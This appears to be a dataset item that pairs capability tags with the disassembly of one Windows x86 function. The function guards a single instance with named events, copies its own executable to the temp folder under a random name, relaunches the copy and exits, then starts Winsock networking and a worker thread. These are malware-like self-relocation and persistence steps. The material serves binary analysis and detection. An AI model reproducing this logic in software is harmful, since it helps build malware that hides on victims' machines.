Function at 0x40128b
Capabilities:
Copy file
Create process on windows
Create thread
Get common file path
Initialize winsock library
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc00
mov eax, dword [0x422044]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
xor esi, esi
push esi
push eax
push esi
push esi
push esi
mov dword [0x4246f0], eax
mov eax, closesocket
push eax
push esi
push eax
push 0xcf0000
push 0x424628
push 0x424560
push esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
test eax, eax
jne 0x4012d9
xor eax, eax
jmp 0x401618
xor eax, eax
mov edi, 0x206
push edi
mov word [ebp - 0xa6c], ax
lea eax, [ebp - 0xa6a]
push esi
push eax
call fcn.00408de0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x24c], ax
lea eax, [ebp - 0x24a]
push esi
push eax
call fcn.00408de0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x864], ax
lea eax, [ebp - 0x862]
push esi
push eax
call fcn.00408de0
add esp, 0xc
push 0x104
lea eax, [ebp - 0xa6c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x41dc68
push 0x425130
call fcn.00408ed3
pop ecx
pop ecx
test eax, eax
je 0x4014d6
xor eax, eax
push edi
mov word [ebp - 0x454], ax
lea eax, [ebp - 0x452]
push esi
push eax
call fcn.00408de0
add esp, 0xc
xor eax, eax
push edi
mov word [ebp - 0x65c], ax
lea eax, [ebp - 0x65a]
push esi
push eax
call fcn.00408de0
add esp, 0xc
lea eax, [ebp - 0x454]
push 0x41dc8c
push eax
call fcn.00408eb4
lea eax, [ebp - 0x454]
push eax
lea eax, [ebp - 0x65c]
push eax
call fcn.00408eb4
lea eax, [ebp - 0x65c]
push 0x41dc9c
push eax
call fcn.00408e86
mov edi, dword [sym.imp.KERNEL32.dll_OpenEventW]
add esp, 0x18
lea eax, [ebp - 0x454]
push eax
push esi
mov ebx, 0x20000
push ebx
call edi
cmp eax, esi
je 0x40142d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x65c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [ebp - 0xc00], esi
jmp 0x40141e
cmp dword [ebp - 0xc00], 5
jge 0x40142d
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
inc dword [ebp - 0xc00]
push 0xc8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x454]
push eax
push esi
push ebx
call edi
cmp eax, esi
jne 0x4013fd
mov edi, 0x208
push edi
lea eax, [ebp - 0x24c]
push esi
push eax
call fcn.00408de0
add esp, 0xc
lea eax, [ebp - 0x24c]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push edi
lea eax, [ebp - 0x864]
push esi
push eax
call fcn.00408de0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00408f87
pop ecx
lea eax, [ebp - 0x864]
push eax
push 7
push 6
call fcn.00402a55
add esp, 0xc
lea eax, [ebp - 0x864]
push eax
lea eax, [ebp - 0x24c]
push eax
push 0x41dca8
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
push esi
lea eax, [ebp - 0x24c]
push eax
lea eax, [ebp - 0xa6c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 1
push esi
push 0x41dc68
lea eax, [ebp - 0x24c]
push eax
push esi
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea eax, [ebp - 0xbfc]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 1
mov edi, 0x424eb0
call fcn.00408c16
pop ecx
test eax, eax
jne 0x40159b
push 0x3a
mov word [ebp - 0x44], ax
lea eax, [ebp - 0x42]
push esi
push eax
call fcn.00408de0
add esp, 0xc
lea edi, [ebp - 0x44]
call fcn.00401000
mov eax, edi
push eax
push 0x425058
call fcn.00408eb4
push 0x41dcbc
push 0x40
push 0x424eb4
call fcn.00409325
add esp, 0x14
push 0x51
pop eax
push 0x41dcd8
push 0x10
push 0x424f36
mov word [0x424f34], ax
call fcn.00409325
add esp, 0xc
push 0x41dce4
push 0x40
push 0x424f56
call fcn.00409325
mov eax, 0x2b66
mov word [0x424fd6], ax
mov eax, edi
add esp, 0xc
push eax
mov edi, 0x425038
push edi
call fcn.00408eb4
push 0x41dd00
push edi
call fcn.00408e86
add esp, 0x10
mov dword [0x425078], 5
call fcn.00401790
push 0x41dc8c
mov edi, 0x4250b0
push edi
call fcn.00408e86
pop ecx
pop ecx
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push esi
push 0x20000
call dword [sym.imp.KERNEL32.dll_OpenEventW]
cmp eax, esi
je 0x4015da
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4012d2
push edi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
test eax, eax
je 0x4012d2
mov ecx, 0x425548
call fcn.004023e1
mov eax, dword [0x42507c]
push esi
push esi
push esi
push 0x401702
push esi
push esi
mov dword [0x425550], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x4235d8], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00408dc8
leave
ret